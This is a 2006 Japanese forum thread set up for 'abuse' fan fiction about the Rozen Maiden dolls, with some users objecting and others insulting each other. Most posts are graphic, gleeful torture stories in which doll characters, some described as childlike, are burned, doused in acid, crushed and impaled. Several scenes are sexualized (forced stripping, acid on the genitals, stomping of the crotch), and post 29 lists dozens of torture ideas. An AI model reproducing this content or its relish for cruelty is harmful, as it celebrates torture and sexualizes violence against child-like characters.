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1: ミーディアム@薔薇乙女:06/07/31 19:03 ID:265ab2rk
虐待はこちらでお願いします

2: ダイゴウジ=ガイ:06/07/31 19:04 ID:gTEXfCWA
こういうスレはいらないと思う…
sageでいきます。

3: ミーディアム@薔薇乙女:06/08/01 14:21 ID:rErazKxI
クソ雛苺を銅製の支柱に有刺鉄線で固定。
頭の先からつま先までくまなくキャンピング用の固形燃料を塗り込んで点火。
固形燃料は火力が弱くて長時間燃焼するように作られている。
2〜3時間に渡ってクソ雛苺は「雛、なんにもわるいことしてないの〜」
と誤った主張を続けることだろう。存在自体が間違いだというのに。
この期に及んでなお「ごめんなさい。許してください」と正しい日本語での
謝罪に思い至る事の出来ないクソ雛苺の強情で腐り果てた性根には憐憫の情を
禁じ得ない。
さて、弱い火力で焼かれたゆえ、体表面から数ミリ程度を炭化させただけ
で身体機能には何ら影響を及ぼさない筈だ。
体表面の炭化したクソ雛苺。
髪の毛は燃え去り、頭は丸坊主。全身は真っ黒。
「熱いの〜」、「苦しいの〜」、「痛いの〜」、「助けてなの〜」
と泣き叫びながら走りよって来るクソ雛苺。
それを見て、悲鳴を上げて腰を抜かしながら逃げ出す自称雛苺大好きっ子
たちの姿。
クソ雛苺信者の醜き姿、ここに極まれり。

             \ ブオワアァァァーー /

              ( ヽ    ⌒)⌒ )
                (  )  丿 )⌒丿⌒)
.                 (  ノ ノノ ノ )
 /ヽへ/l、           (( 人从从人((             _ 
〆     >          ))人人从人))            '´    ヽキャアァァァ!!
<レl从^^从`ウワワァ       (:::从(ノノリノ)) ヒナカワイイノォォォォォ   i  iノリ)))〉
<口д口レu/         (::人ミ;;゚Д゚'从)           ≡ヽ!l|.゚ 0゚ソ!
⊂l^Y⊂ll≡           ::::从,,.;;;:,.,,..::)):::::)               ≡()iつつ
  |._ハ_人≡         (:: ::人:::人从::::)):::::)          ≡く/_|l〉
  ゝ' ゝノ≡          (::::::::( )(人从人))            ≡し'J


4: ミーディアム@薔薇乙女:06/08/01 14:24 ID:rErazKxI
雛苺「ぁ゙〜ぅ゙〜〜〜」
水銀燈「うるさいわねぇ〜このジャンクめぇ〜〜〜!」雛苺「水…ぎ……ぁ゙ぁぁ゙ぁぁ゙ゔぅ゙ぅぐゃ゙ぅぎぃ゙ぃ〜!!」
水銀燈「何言ってるのかさっぱりわからないわぁ〜!この暑さでイカれてしまったのかしらぁ〜?」
雛苺「あ゙づ…ぎぃ゙ぃ゙いぃいい゙いぃ゙〜〜〜!!」水銀燈「全く…このゴミジャンク……!!フフフ…いっその事本物のジャンクにしてあげるわぁ〜!」
バキッベキッボキッベキッベキベキベキベキベキボキッグジャァァァァッ
雛苺「ぎゅ゙がぢかばゃたがざはだぁ゙ぁ゙ぁぁ゙ぁぁ゙っ゙」
水銀燈「あははははははっ真っ二つになっちゃったぁ!しかも潰れちゃったぁ!」
雛苺「ぁ゙ー…ぅ゙〜〜…」水銀燈「あらぁ?まだ声を発する元気があるのねぇ〜!今度は首をもいであげるわぁ〜!」
グジャッ
雛苺「ぁ゙〜…ぁ゙〜ぁ゙ぁ゙ぁぁ゙うぅぅ゙ぐゃぅ〜」
水銀燈「…どんなに壊してもダメね…虫みたいにしぶといんだもの。まぁ、面白いから粉になるまで遊んであげる〜!」
雛苺「ぅ゙ゆ゙ぅ゙うぅ〜!あ゙ぞ…ん……でぇ〜〜〜〜〜〜 ぅ゙ゆぅ゙うぅ!!」水銀燈「フッ」



5: ミーディアム@薔薇乙女:06/08/01 21:20 ID:AiDhxB2Y
或る朝、いつもの様に鞄を開ける翠星石。
しかし、何故かそこには見慣れたヒキコモリ少年の部屋ではなく、
オイル臭い工場の様な景色が広がっていた。「何です?どこですか、ここは?」
「おはよう翠星石。」声がしたので振り向くと、作業服を着て軍手を嵌めた若い男が立っていた。
「誰ですぅ?」「俺はエリック。この工場で働いてる。今日は君をスクラップにするから。」
「はぁ?」突然の事で訳も分からずキョトンとする翠星石。
「実は、君の持ち主から君を廃棄処分する様に依頼されたんでね。今朝早く業者が
鞄に入った君ごと回収してここに持って来たんだよ。」
「ジ、ジュンが私を捨てたって言うですか?どうして…」「さあね、とにかく今から君をスクラップにするからね。」
「嫌ですぅ!逃げるですぅ!」そう言うと翠星石は鞄ごと飛んで逃げようとした。
しかし素早くエリックがロングヘアーを掴んで鞄から引きずり出した。
「痛いです!離しやがれですぅ!」バキッ!「ふぐっ!」顔面を殴りつける。「逃げられると思ってんのかバカめ!」
ドスッ!今度は腹を殴る。「痛いですぅ!何しやがるです!」

エリックは翠星石の首を右手で掴むと力任せに締め上げた。
「く、苦しいですぅ…息が出来ないですぅ…!!」先程とは打って変わってエリックは表情も口調も豹変していた。
「このクソミドリ。今日は生意気で憎たらしい貴様を地獄に堕としてやるからな。覚悟しろよ。」
そう言うとエリックは翠星石を傾斜角45°のスチール製の台の上に、金属の枷で固定した。
両手首、両足首をがっちり固定された翠星石は、完全に身体の自由を奪われたのだった。
「何するです!動けねーですぅ!」ほざくクソミドリをよそにエリックは淡々と準備を始める。
工業用の特殊なカッターを持ったエリックは、ためらう事なく翠星石お気に入りのドレスを縦に切り裂いた。
音も無く冷たい刃は、滑らかに緑のドレスを裁断し、翠星石の乙女としての恥部を白日の下に晒す事となった。

「嫌ぁぁぁ〜!!やめるです!お前は変態ですぅ!!翠星石の大切なドレスがぁ〜!」
喚くクソミドリに構わずエリックはドレスの残った部分とペチコート・スカートパニエを剥ぎ取った。
翠星石は頭上のヘッドドレスを除き一糸纏わぬ全裸となったのである。
「うう…恥ずかしいですぅ。どうして私ばっかこんな目に…」今にも泣き出しそうな顔をする翠星石。
次の瞬間、反射的にビクッと体を動かした。エリックが翠星石の局部を手で撫でたのである。
「や、やめろですぅ!この変態野郎!!」「お前を造った人形師はかなりの変態だなぁ。こんなに精巧で緻密にココが再現されているとは…」
「お父様を悪く言うなです!お前みたいなキチガイ変態野郎と一緒にすんなですぅ!!」

6: ミーディアム@薔薇乙女:06/08/02 02:07 ID:5ggK5RLQ
ローゼンメイデンの質を落とすようなことするな!

7: ミーディアム@薔薇乙女:06/08/02 09:14 ID:NRPj2be6
>>3
イイ(・∀・)!

8: ミーディアム@薔薇乙女:06/08/02 10:57 ID:bOD8jZEQ
>>6
趣味なんか人それぞれだろうが
文句あるならメールで言えや

スレ汚すな

9: ミーディアム@薔薇乙女:06/08/02 11:12 ID:Fi.nAYLM
>>5の続き
「これ以上この誇り高き薔薇乙女第3ドール・翠星石を汚す事は許さんですよ!!」
元来負けん気の強い翠星石の毒舌が冴えわたる。
「とっとと解放して翠星石に謝罪しやがれですぅ!許さんですよ変態!」
バキッ!エリックの左ストレートが糞翠の顔を直撃!「ふぐぅ!」こうるさいクソミドリを黙らせる事に成功した。
その後エリックは透明な液体入りのビンを持って来た。そしてゆっくりと蓋を開け
翠星石の両膝の関節部にその液体をかけた。ジュワ〜ッ!モクモクと白煙が上がり、翠星石の悲鳴が場内に響き渡る。
「キャアアアア〜〜!!!」甲高くて耳障りな声だ。「す、翠星石の足がぁ〜!!熱い…痛いですぅ!!」
「フフフ…どうだ、濃度25%の塩酸を浴びた感想は?次はここだ!!」

バシャ〜ッ!エリックは残りの濃塩酸を翠星石の「おまんまん」にぶちまけた。
「ヒギャアアアアアア――!!!」凄まじい絶叫と共に失神するクソミドリ。陰部からは大量の煙りが上がっている。
エリックは翠星石が気絶してる間に大鉈で両膝を切断した。先程塩酸をかけられていた為表面に腐食が起り
切断を容易にした。ドコン!「げふぅ!」鉄パイプで腹を殴打する。今の衝撃で目を覚ますクソミドリ。
「うう……」「寝てんじゃねぇ!糞ミドリ虫が!!」怒鳴るエリック。
「足がぁ…両足が無いですぅ!おまんまんも痛いですし…うぅ…うっうっ」
翠星石は泣き出した。とめどなく涙が溢れる。

「うぅ…うっうっえぐっ…グスン翠星石はジャンクになってしまったですぅ…」
「馬鹿か貴様?元からジャンクだろうが屑が!」そう言うとエリックはまたもや謎の液体入りのビンを持って来た。
「飲めよ」「そんなもの飲める訳ねぇです!!」「安心しろ、これは塩酸じゃない」
エリックは翠星石の口に指を突っ込んで無理やりこの液体を飲ませた。
「うぅ!ゴボッ、ゲボッ!や、やめろです!く、苦しいでふぅ」吐き出さない様に鼻と口をしっかりと塞ぐ。
コップ一杯分の液体を飲まされたクソミドリ。その直後嘔吐した。「ゲボァ―ッ!ゲ―ッゲロゲロ」
「ハハハ美味いだろう?廃油の味は?汚れた工業用オイルだぜ」「ゲホッ!ゲホッゲフッ!」
本当に苦しそうな翠星石。顔は涙と吐瀉物で汚れている。

「苦しいですぅ…もうやめて下さいですぅ…」すっかり弱りきった様子だ。
エリックは再び鉄パイプを持つと翠星石を殴り始めた。ガン!ガン!ガン!ドスッ!「ぐふぅ!」
「人形の分際で人間と同じ物食いやがってよ、食い意地の張った豚野郎め!
そのくせ人間を馬鹿にする様な態度と喋り方しやがって、何様だよテメェ!!」
鉄パイプを振るう腕に力がみなぎる。エリックの怒りと憎しみは頂点に達しつつあった。
数分後、全身を乱打された翠星石はぐったりしていた。エリックは金属の枷を外すと、糞翠を床に叩きつけた。
ドシャーン!身をかがめてロングヘアーを掴むと、そのまま引きずって、ベルトコンベアーの上に乗せた。
スイッチを入れると、ギューンゴゴゴ…という轟音と共にベルトコンベアーが動き出した。

10: ミーディアム@薔薇乙女:06/08/02 16:35 ID:y.9gNjlg
>>8
へぇ・・・君はそうゆうこと言うんだぁ・・・
○○○が一人前に「スレ汚すな」だってぇw
そう言う君たちは、「ローゼンメイデン」や「この掲示板」を
汚してるんじゃないですかぁ?
それに、虐待が趣味だしぃ・・・おもしろぉいw

11: ミーディアム@薔薇乙女:06/08/02 21:38 ID:9gtKupS.
このスレもここまで腐ったか…

12: 名無し:06/08/03 09:02 ID:RdeWSQw.
仕方ないって
こういう連中ってさ、こういうことを表現することでしか自分の存在意義を見出す事しか出来ないんだよ。
日常のたまったストレスをこうやってドールに移してさ…
惨めで、哀れで、暗いよ…
同情するよ…
暗い人生を歩んできたキミに
それでこうしてカキコすれば、また10みたいなことになるわけ。
ちょっと非難しただけでこの様さ。
典型的な負け犬だよ。
そう思わないかい?
ま、せいぜいテレビに出ないように気をつけたら?

13: 名無し:06/08/03 09:20 ID:RdeWSQw.
うーむ…
元がすでに腐ってる人間だし…何とか処分できないものか…?
いっそのこと土に埋めるか!?
いや、地に還してもこいつから出る怪しい養分が地形を侵食するかも!?
やばいぞー!!地盤が崩れるー!!!





いやー。非難ついでに面白くカキコするのもいいねぇー
ストレス解消にまた来ようっと!!
どんな返事が来るのか楽しみだよ。にひひっ!
アンタがムカつこうが、こっちの知ったこっちゃねぇしー
んじゃまた

14: ミーディアム@薔薇乙女:06/08/03 14:39 ID:Fi.nAYLM
>>9の続き
ベルトコンベアーの先には巨大なローラーが待ち構えていた。
両足を失い、局部を塩酸で焼かれ、廃油を飲まされた上に全身を激しく乱打された翠星石は
ボロボロになりながらもかろうじて動く両腕だけでそこから逃れようとした。
「ハァハァ…そ、蒼星石…ジュン…うぅ…」呻きながら這いつくばる。しかし運命は残酷だった。
グシャーッ!バリバリバリバリン!!!ローラーは容赦なく翠星石の体を押し潰した。バラバラに砕かれたビスク素体の破片は
切り裂かれた下着やドレス、靴、そして人工精霊スイドリーム入りの鞄ごと焼却炉に投げ込まれた。ここに翠星石ことクソミドリの廃棄処分が完了したのである。 おしまい♪




15: 薔薇吹雪:06/08/03 15:47 ID:rB2xV8To
酷いスレですね。こんなスレは必要ないと思います。

16: 赤い翠星:06/08/03 18:03 ID:DSBNIiRk
>>9
翠星石のスレにコピペ厨が荒らすよりはまし。


17: 赤い翠星:06/08/03 18:04 ID:DSBNIiRk
訂正
>>15
だった。

18: ミーディアム@薔薇乙女:06/08/04 01:05 ID:VFB9aou6
これ人の作品コピペしてるだけだろ・・・
荒らしじゃないなら新作SS投下してみろ阿呆

19: ミーディアム@薔薇乙女:06/08/04 11:21 ID:IBY6z/gI
「ほら。ちび苺。買って来てやったぞ。」
「わぁ〜♪うにゅーだー♪有難うジュン」
多寡が苺大福で喜び捲る雛苺に怒りを感じるジュン。
「ふん。調子に乗りやがって。壊したい。」
すると雛苺が突然大声で叫んだ。
「あれ??これいつものうにゅーじゃない!!」
「ああ・・不死屋のはもう売り切れててなかったんだ。」
ジュンは何気なく普通にそう答えた。
―――…しかし雛苺は…。
「やあぁぁぁ〜!!!!!あのうにゅーじゃいやなのー!!!」
「はぁ?それで我慢しとけ。」
    すると雛苺は…
「嫌あああああああぁあぁぁぁあぁあぁ!!!!ジュン大っ嫌い!!」

    ジュンは堪忍袋の尾が切れた。
ジュンはキッチンにあった熱湯を雛苺に掛けた。
「きゃあぁぁぁぁぁあ!!熱いのぉー!!!!痛いのぉーーーー!!!」
「ふん。我侭法大するお前が悪いんだ!!!」
するとジュンは雛苺を蹴り飛ばし、二階の窓から雛苺を放り投げた。
「ふんっ♪ざまぁ見やがれ。」「うぅぅ・・・・」
その後雛苺は誰にも見つけられず、のたれ壊れたと言う。
                      
     ,',i><iヽ
    /((ノ;:リノ))
 /⌒〈《(:;);々`;);;つ  う゛ぅ゛・・・
 と_),,;;つノ




20: ミーディアム@薔薇乙女:06/08/04 15:05 ID:Fi.nAYLM
何者かの手で両目を盗られてしまった雛苺
かなりショックを受け、ずっと塞ぎこんでいる

「大丈夫か?ほらうにゅーあげるから元気出せよ」
「うう・・・ジュンありがとうなの〜あーん・・・」
俺は目の見えなくなった雛の口に泥饅頭を突っ込んだ
「ふあ?!ぺっぺっ!こ、これうにゅーじゃないのぉ!!
 ジュンひどいのー!!」
「ごめんよ。もしかしたら翠星石がすり替えたのかも知れないな
 ほら、今度は本物だから」
「うにゅ?ほんと?あーん・・・」
また懲りずに大口を開ける雛苺
目を失いジャンクになった人形なんてキン消しにも劣るのだ
俺はバールのような物を手にとった
それを見て真紅と翠星石は笑いを堪えている

「ほら・・・お食べ!!!」
バールのような物は雛の口から尻まで一気に貫通した
「ふあああああああああ?!!ひ、ひはいのおおおおおお!!
 たふけへ!!ひんふ〜こへとっへなのおおお!!」
真紅と翠星石は笑いながら歩み寄り
「まあ大変!翠星石手伝って!!これを抜くのよ!!」
「合点承知ですぅ!チビ苺今助けるのですぅ!」
「じゃあ俺がおさえるよ!二人で引っ張ってくれ!!」

雛の口から飛び出した柄の先を引っ張る
しかしかぎ状になってるほうが尻の方に来ているので抜けはしない
「ひいいいいいいいい!!ひはいのおおおおお!!やめへなのおお!!」
「なに言ってるの!早く抜かなければ大変だわ!!」
笑いながらさらに思い切り引っ張る二人
雛は涎を垂らしながら必死にもがいてる
俺たち三人が全て笑っているのにはもちろん気付かない

「あうあああああああ!!ひ、ひ、やめ・・・」
「もう一頑張りですよ、チビ苺!!」

ついにバールのような物が雛の口から抜ける
同時に雛の体の中身とローザミスティカも一緒に引っかかり
全てずるずると吐き出された
雛苺はごろりと床に転がり動かなくなる

「あらあら。でも目が無くなった時点でもうジャンクだったから
 問題はないわよね?」
「それはひどいよ真紅、この目だって後で返すつもりだったんだから」
そういうとポケットから雛の青い目を取り出しゴミ箱へ投げ入れた(了)


21: 椿:06/08/07 10:03 ID:J2uW3Yto
こんなスレ作っていいの?

22: ミーディアム@薔薇乙女:06/08/08 01:08 ID:DsOSxr0g
「突然だけど、面借りるぜ雛苺」
デュードの落ち着いた口調とは対照的に、彼の右足は勢い良く雛苺を蹴り上げた。
蹴り上げられた雛苺は天井にぶつかり、重力作用によって一直線に床に叩きつけられる。
「あぅ・・・あぁぁ」
目に涙を浮かべ、辛そうな顔をしてデュードを見つめる雛苺。
「気色悪い顔して偉そうにツラ上げるんじゃねえゲスが」
デュードは棘付きのメリケンを右手に装着すると、その雛苺の汚い顔に向かって真っ向からパンチを喰らわせた。
顔に食い込むほどのパンチを喰らった雛苺は体をビクビクと痙攣させている。
拳を抜くと、雛苺の両目はぐしゃぐしゃに潰れ、幼女のようなかわいらしい顔の面影はどこにもなかった。
「まだ生きてるのかよお前。ほんとバケモノだな。」
デュードは雛苺の両腕を掴むと、背中の方へ引っ張った。
「あっぁぁ!」
雛苺の悲鳴が響き渡ると、腕は軋む音を立てて引き千切れた。
「痛いの〜!」
「うるせえカス。これ以上痛い目に合いたくなけりゃ、黙ってろ」
デュードの自らの行動を正当化する言論の前では、低俗な人形など無力だ。
「もうやめてなの〜!」
「あ〜うるせえな」
そう言うとデュードはゴミのような胴体と汚らしい顔をした雛苺をスレッジで粉々に叩き潰した。
「あらら、もっと痛めつけようと思ったがつい力が入っちゃったよ。悪い悪い」

The End


23: ミーディアム@薔薇乙女:06/08/10 20:41 ID:1XtktLaM


24: ミーディアム@薔薇乙女:06/08/11 01:17 ID:DsOSxr0g
もし雛苺が雪華綺晶に狙われている事に気づき助けを求めたらどうなるか?

「ジュ〜ン!雛!第7ドールに体を狙われてるの助けて欲しいの!」
「なあ雛苺!第7ドールって精神世界にしか姿を現さないんだよな!
助けてやりたいのは山々だけど対策のしようがないじゃないか!」
ジュンは雛苺を助けたい気はあるが助ける手段がない事を知り困る雛苺。
「雛!もうわがままは言わない!だから助かる方法を考えて欲しいの!」
ジュンに助かる方法を考えてもらうために涙で訴える雛苺。
「そうだ!ドールズ全員で第7ドールを総攻撃してお前が乗っ取られるまえに
倒してしまえばいいんじゃないか!水銀燈も僕には借りがあるし協力してくれる
はずだ!」
「いい考えもしれないけど第7ドールは神出鬼没なの!みんなで行ったら
逃げられるの!そして雛だけになったら食べられちゃうの!」
何かいい方法がないかと考えるジュン!
1時間ぐらいはたっただろうか?彼はいい方法が閃いたようだ!

「いい方法があるぞ雛苺!」
「ジュン!どんな方法なの!雛に教えて欲しいの〜!!」

「ジュン!早く雛に教えて欲しいの!」
「そんなに慌てるなよ雛苺!じっとしていろよ!」
「ジュン!何をしてくれるの?」
「こういう事だよ!!」
ジュンは雛苺の髪を突然掴み叩きつける!
「う〜!痛いの〜!雛何も悪い事をしていないのにひどいの〜!」
雛苺に文句を言われキレるジュン!
「てめえのためにやっているんだろうが!」
あおむけで泣きわめく雛苺の股間を何千何万回と踏みつけるジュン!
「ああ・・うう・・あんまぁ・・雛・・何か変な気持ちになって来たの・・」
「人形の分際で感じるんじゃねえよ!そろそろ頃合だな!これでもくらえ!」
何千何万回と踏みつけひびが入った雛苺の股間をサッカーボールをシュート
するごとく強く蹴るジュン!
「びゃぁぁぁ!痛いの!雛の・・お股に・・穴が・・雛ジャンクになってしまったの〜!」
自分がジャンクになった事を確信し涙を流す雛苺。
「ハハハ!よかったな雛苺!ジャンクになったおかげで第7ドールはお前の
体を乗っ取ることができないはずさ!」
満面の笑みで語るジュン!
「こんなの違うの!雛をジャンクにするなんてひどいの!」
すると・・
「まだこの程度じゃジャンクとは言えないな!第7ドールに乗っ取られるかも
しれない!」
雪華綺晶に乗っ取られた方が遥かにましだった程の仕打ちが「現時点」で
まだ序の口だという事を雛苺はまだわかっていなかった。


25: あかり:06/09/10 20:53 ID:UP0eRmLU
こんなスレ、必要ない

26: 味噌:06/09/11 00:41 ID:ej2mDAuc
必要ないなら上げない方が良いと思うんだが・・・

27: ミーディアム@薔薇乙女:06/09/15 13:35 ID:/7xXC4Wc
自分の事をかわいいと思っているクソ雛苺に作中における己のあり方の真相を思い知らせる為に、
顔面矯正処置を施してやる。
まず服の上から尻に成人男性と同量のホリゾンを注射して昏睡状態にさせる。
革製のベルトで小児用の寝台に固定、特に頭部を微動だにせぬよう慎重に調節。
顔面の素材に応じた特殊技能者を招聘し、工作機械もしくは薬剤等を用いて作業を展開。
日本の伝統工芸品である「ひょっとこ」の面貌に顔面を改造。
その後、全面が鏡で覆われた部屋にすやすや眠るクソ雛苺を移動させ、覚醒を待つ。
廊下の長椅子には作業の成功を信じて待機するジュンと巴。
覚醒したクソ雛苺は己の変わり果てた姿を目の当たりにして狂ったように号泣しながら逃げ惑う。
しかし、どこへ向かっても目の前には鏡の壁面があるのみ。自分自身から逃れる事は出来ない。
「雛、かわいいのおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおっ!」
聞き覚えのある叫び声を耳にした二人が部屋に飛び込んで目にしたものは、フランス人形の衣装を
身に纏った小さな一体の「ひょっとこ」。

.   ┌- 、,. -┐
   く|_,.ヘ_|〉
.   /((ノ。ノリノ))
  〈ミミi@ ク゚@!ミ〉
   ''⊂[{夲}]つ'
    (ム!,,jム)
     `もテ′

「トゥモエ〜雛なの。私雛なの、わかるでしょ? 雛なのよ」
「ひょっとこ」に泣き叫びながら胸に飛び込まれ、ショックの余り失禁して気絶する巴。
「ぅうそだあっ!こんなのが雛苺なわけがないっ!」憤然とそう叫んで部屋を後にするジュン。
巴が別室に運び出され一匹になった「ひょっとこ」面のクソ雛苺。
上下左右全面が鏡。目を開ければ飛び込んでくる「ひょっとこ」面の自分。逃れようのない真実。
「私はかわいい」という誤った自己認識だけで生きてきたクソ雛苺が醜い内面に相応しい風貌を
「取り戻した」 今回の施術。
しかし、極めて強情な自我ゆえ内外面の一体化に失敗したクソ雛苺は精神崩壊を来たしてしまう。
クソ雛苺は「ひょっとこ面の己」の受容を頑なに拒み、発狂という痛ましい事態を自ら招いたのだ。



両親に説得され、泣く泣く見世物小屋への譲渡書にサインする巴。
以後クソ雛苺は浅草でフランス人も含む外国人観光客を相手に、絶望と激しい失意のどん底の中で
「ひょっとこ踊り」をして生きてゆくのだ。仮にクソ雛苺自身が激しく精神的に拒み続けようとも。
それがクソ雛苺にとって最も相応しい在り方なのだから。
クソ雛苺は、顔面矯正とそれに伴う葛藤を経てその内面に相応しい自己へと還元されたのだ。
すなわち、「笑いもののちんちくりん人形」である。

なお「ひょっとこ踊り」は、当然の事として真っ赤に焼けた鉄板の上で行なわれる。

   アツイ! アツイノー! イヤァー!!
     タスケテーー!! トゥモエェェェェェェェェェェェ!!
          ┌- 、,. -┐
        く|_,.ヘ_|〉
        /((ノ_ノリノ))゚ 。          ,'~~~え.
      _ ((∩@ ク`@!ミ〉)゚。゜___    {/´ ̄ヽヽ_,   /ヽへ/l、
     / ナ ナ ヽ{夲}とナ ナ ナ ナ ナ//||    ((从_从)i@《,  〆     >
    / ナ ナ ナ(O!,,jム) ナ ナ ナ ナ.// ||    ||从'c_,`||/||.  <レl从^^从`、
   / ナ ナ ナ ナ ナ ∪ナ ナ ナ ナ //  ||.   ||(({'ミ介ミ'})||  <□c_,□レu/
  / ナ ナ ナ ナ ナ‖‖ ナ ナ ナ //;;)) [].   ≦ノ,ノハヽ、≧   (l^Y ll)
 /__________//;;))ボウボウ て` -tッァ- ' て   |._ハ_.|
 ||  人从人从人从从人 ||;;)).                 ゝ' ゝ'
 || ( (;;;;) ) (;;;) ) (;;;) );;;) ;;)||ボウボウ     ,r==ミヽ
 || ( ));;;))(;;;))(;;))(;;;) ||     _ _ _  〈(((ノリi卯   _ _ _
 [] ///[]////[]//[]\\ []   /  `."-从´c_,`l〈l| /    ヽ
                    '"'⌒`~"'" ''.(i卯(i'ヽ!|ゝ '''"ー"``
                           /l xヽy''
                           |†レしl,†l
                           レ   |ノ


28: ミーディアム@薔薇乙女:06/09/15 15:13 ID:lIGmFD2.
http://www.thecount3.com/

29: ミーディアム@薔薇乙女:06/09/20 00:11 ID:ctJi1egw
雛苺の髪の毛を一本も残さず全て引っこ抜いて、頭を苺大福にする
雛苺の苺大福だけ買ってこない
雛苺を擂粉木で擂り潰して餡に混ぜ、奴自身をうにゅーと同化させてあげる
雛苺に新しいリボンを買い与えて喜んだとたんに一気に引き裂く
雛苺の指を大根おろし器を用いて、ドラえもんの様になるまでおろす
雛苺やめますか、それとも人形やめますか
雛苺の頭の中に人糞をつめる
雛苺を夏の真昼、炎天下の中、車のトランクの中に放置
雛苺が口から下痢便吐き出すまで下腹部を殴り続ける
雛苺が寝たら15分おきに起こす
雛苺のまぶたを接着剤で固めて、まばたき出来ない様にする
雛苺の顎をつかんで、強制的に舌を噛み千切らせる
寝ている雛苺の鼻にクワガタをのせてやる
雛苺がくすりとでも笑おうものなら、見えた歯を根こそぎ歯科用ドリルで削り飛ばす
雛苺の鼻の頭を渾身の力を込めて金属バットで叩き潰す
コンセントとそれに刺しこめるぐらいの細い金属しかない部屋に雛苺を放置する
雛苺の晩御飯に犬の糞を喰わせる
雛苺の苺大福だけ中身を梅干しにすりかえる
雛苺は社会のゴミだからとっとと消えろクズ
雛苺を高速道路に放り投げる
雛苺を埋める
雛苺と翼手を戦わせる
雛苺のへそを箸で突き刺す
雛苺を仰向けに寝かせ、顔面めがけてかかと落とし
雛苺の鞄にセメントを流し込む
雛苺の耳の穴にゴキブリの卵を流し込む
雛苺の腕を裁断機で微塵切りにする
雛苺の鼻にフックを掛け一気に引っ張る
雛苺に永遠と両手でジャンケンさせ続ける
雛苺の顔を焼けた鉄板の上に押し付ける
とにかく雛苺はさっさと死ぬべきなんだ
食うことしか頭に無い低能のカス野郎
雛苺はクズだから仕方ないよ
雛苺の鼻にパチンコ玉を積める
雛苺がリアルにいたらボコボコにしてしまうかもしれん
雛苺なんて触るのも嫌なんだけど
手を触れずにサノバビッチ(雛苺)を殺したい
雛苺ぼっこぼこ
糞苺には人糞がお似合いだわっ!!アッハハハッハー


30: p:06/09/20 20:50 ID:U7Vd7P1.
こうゆうのは止めたほうがいいですよ。
残酷すぎます。

31: ミーディアム@薔薇乙女:06/09/21 01:32 ID:H8z7iEkY
取り合えず、みんなの服を洗濯すると言って、取り上げ
鋏でズタズタに切り裂く、ぼろ雑巾を袋状にして
全員に着せる
人形なので、食事無しにする。

しかし、自分勝手な連中だよな
自分たちのゲームの為に、人の命を吸い取るなんて
何て自分勝手な人形だ!
残酷に壊さないと、命を分けてるのだから
それなりの、代価を払ってもらう

等価交換!


32: ミーディアム@薔薇乙女:06/09/21 15:35 ID:H8z7iEkY
寝た後に、こっそりとカバンを開けて
ゼンマイを、差し込み瞬間接着剤を流して
二度と巻けない様にする。

33: 吾師:06/09/23 09:30 ID:v77Wy43U
pさんの言うとうり。
こうゆうのは止めたほうがいいとおもいます。

34: ミーディアム@薔薇乙女:06/09/23 10:45 ID:9jAmV0B6
虐待と言っても所詮は二次元のキャラクターだろうが。
猫やウサギを面白半分に虐待する訳でも無かろうに。

35: ミーディアム@薔薇乙女:06/10/05 02:02 ID:dxByD12w
よお、クソ苺       
    ∧_∧    ,',i><iヽ あ゛んああううぁう? ∧_∧
   ( ´∀`)   ./((ノ。リノ)) う゛に゛ゅ゛ぅぅ・・・  (´∀` )ケラケラ、糞な雛苺だから「クソ苺」か
   (    )   〈《(# 々゚ノ) う゛ぁ゛あ゛あ゛ぁ・・・ (    )
   | | |     ノ つ  つ              | | |
   (__)_)   (_ ,、 `^)^)             (_(__)

 ジャンクのくせしやがって!!       あーあーうーうーうるせーんだよオラアァァァ!!!
                 ア゙ン゙マ゙ー!!!      ∧_∧
 ―=≡三 ∧_∧      \从从///    (´∀`#) 三≡=―
―=≡三と(#´∀`)つ''" ((ノ。リノ));''"´  "''::;:,(    つ 三≡=―
 ―=≡三 ヽ     ̄ ̄⌒)々゚(;;;((⌒ ̄ ̄ ̄_  ) 三≡=―
 ―=≡三 /  / ̄ ̄´"'''⊂;;;#':*,'´''::;;;;::'''"´ ̄ヽ \ 三≡=―
 ―=≡三 \__); ///(_ ,、 `^)^) \\\  (__) 三≡=―


    ぎゃはははは!!!「ア゙ン゙マ゙ー!!!」だってよ!!!
              (⌒∧_∧          ,//∧_∧  ひゃははは!!
           バキィ!ヽ( ´∀`)  :(⌒ミ(  //(´∀` ) もっとめちゃくちゃにしてやるぜ!
            バキィ!!ヽ  l| |l(:;;:( ドガァ!!///ヽ、  _`ヽゴスッ!!
           ('⌒;ヾ / '/ li| l!グシャァ!!\从从///'ミ_/ヽドゴッ!!
            (⌒)y'⌒;ヾ从从(,i><i⌒)⌒`つ,;(´(´⌒;"'ボキボキボキッ
           (´⌒ー-   ;:.|/((ノ。リノ))::;w 彡(:::゜`)。(;;;)、⌒从;;ノ・`⌒);
         (´;⌒(´⌒;;' ~ヽと;;;; #;;々゚、ミ,,:,,;;;ヽ/ノ:#`""^ヾ⌒));
 ̄ ̄(´⌒;,( ,(゙゙゙'゛""゙゙)゙'';"(´⌒;,(´,(´⌒;) あ"んま"あぁぁぁぁっぁぁぁう"ぅぁぁああぅぉ"ぇぇぇ!!!!
⊂;:;∴::・;:;:;:;∴::;;,::⊃          

 ウー・・・ウー・・・  .  ∧_∧ そのまま死ね     ∧_∧ ごみと同じ運命を
     ,;;ハ,;,、, .. ペッ(∀`  )              (´∀` ) たどればいいさ
 ,',i><iヽ|l |#:;)々。#)´(    )               (    ) 
 {{~(,;,#,"ヾ);U.."`.゚    |  |  |               | | |
.,.{{と,;ノc_}.;,.. [ ̄].;: (_(_)              (_(__)
  ,‘⊂;:゚∵⊃,;゙"

36: ミーディアム@薔薇乙女:06/10/07 20:28 ID:YveY2ZbI
泣き叫んで激しく抵抗するクソ雛苺に無理やり鉛の靴を履かせて大き目の空の水槽に入れてやる。

足を固定されて動けぬまま手をバタバタさせて暴れるクソ雛苺の憎々しい姿。

全能の神に祈りを捧げてから、水槽に希硫酸をゆっくり、ゆっくり、ゆ〜っくりと注ぎ込む。

ちなみに、首から上まで注いではいけない。また、決して濃硫酸を用いてはならない。

可能な限り長い時間踊らせて、罪を償わせなければならないからだ。己の存在自体の罪を。

37: ミーディアム@薔薇乙女:06/10/08 08:24 ID:pMHg.Two
翠星石は悪行をしても謝らない。
まさに性悪なので、その精神を叩き直すために体罰を与える。
これは当然のことだ。

     .┌"" ̄〔二二二〕 ̄""┐
   ┌'"" ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄""┐
   |゙        .(○○).       ゙|
   |(7|7|4|M) l     l [上野]  |ファァァァァァン
   |..____________ |  ファァァァァァン 
